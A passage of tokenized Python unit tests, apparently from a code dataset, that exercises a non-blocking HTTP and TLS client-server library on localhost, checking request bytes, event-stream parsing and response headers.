"\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "1_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "2_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Ech", "o", "TLS", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "HTTP", "S", " ", "(", "TLS", "/", "SS", "L", ")", " ", "client", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Ech", "o", "TLS", "_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", ".", "pe", "m", "'_", "#", " ", "remote", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "client", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", ".", "pe", "m", "'_", "#", " ", "remote", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server", "Tl", "s_", "(_", "host_", "=_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "certi", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "server", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "server", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "client", "Ca", "filepath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Cert", "Common", "Name_", "=_", "'", "local", "host", "'_", "#", " ", "match", " ", "host", "name", " ", "use", "s", " ", "server", "s", "'", "s", " ", "cert", " ", "common", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client", "Tl", "s_", "(_", "ha_", "=_", "alpha_", "._", "ha_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "certi", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hosti", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "ed", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "client", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "client", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "server", "Ca", "filepath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", " ", "and", " ", "Handsha", "king", " ", "beta", " ", "to", " ", "alpha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "len_", "(_", "alpha_", "._", "ix", "es_", ")_", ">=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Equal", "(", "bytes", "(", "response", ".", "body", "),", " ", "b", "'{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}')", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "bytes_", "(_", "response_", "._", "body_", ")_", ",_", "b", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "data_", ",_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "headers_", "._", "items_", "(_", ")_", ",_", "[_", "(_", "'", "content", "-", "length", "'_", ",_", "'", "122", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "content", "-", "type", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "date", "'_", ",_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "server", "'_", ",_", "'", "Io", "Boo", "k", ".", "local", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Request", "Ech", "o_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "request", " ", "echo", " ", "non", " ", "blockin", "g", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Request", "Ech", "o_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", 